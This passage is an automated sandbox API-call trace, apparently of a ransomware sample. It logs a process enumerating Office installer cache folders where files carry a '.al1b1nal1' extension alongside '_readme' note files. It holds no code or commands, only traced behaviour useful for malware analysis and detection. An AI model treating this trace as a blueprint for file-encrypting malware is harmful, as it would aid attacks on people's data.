lpOverlapped=0x0) returned 0 [0258.913] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0258.913] NtClose (Handle=0x188) returned 0x0 [0258.914] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0258.914] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0259.195] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8b31ec10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.195] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0259.195] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b2d2950, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8b2d2950, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0259.195] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0259.195] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b31ec10, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0259.196] GetLastError () returned 0x12 [0259.196] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0259.196] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x8b31ec10, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.al1b1nal1", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b2d2950, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8b2d2950, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.al1b1nal1", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b31ec10, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x8b31ec10, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.al1b1nal1_readme", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0259.196] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.197] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0259.197] GetLastError () returned 0x12 [0259.197] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0259.197] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0259.198] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943bf0) returned 1 [0259.198] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0259.198] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0259.198] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0259.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0259.485] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0259.485] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0259.485] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0259.485] NtClose (Handle=0x18c) returned 0x0 [0259.486] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0259.486] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.600] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0259.600] GetLastError () returned 0x12 [0259.600] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0259.600] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.601] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0259.601] GetLastError () returned 0x12 [0259.601] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0259.601] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0259.602] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943bf0) returned 1 [0259.602] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0259.602] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0259.602] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0259.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0259.694] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0259.694] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0259.695] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0259.695] NtClose (Handle=0x188) returned 0x0 [0259.695] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0259.695] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0259.695] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0259.695] GetLastError () returned 0x12 [0259.696] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0259.696] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) 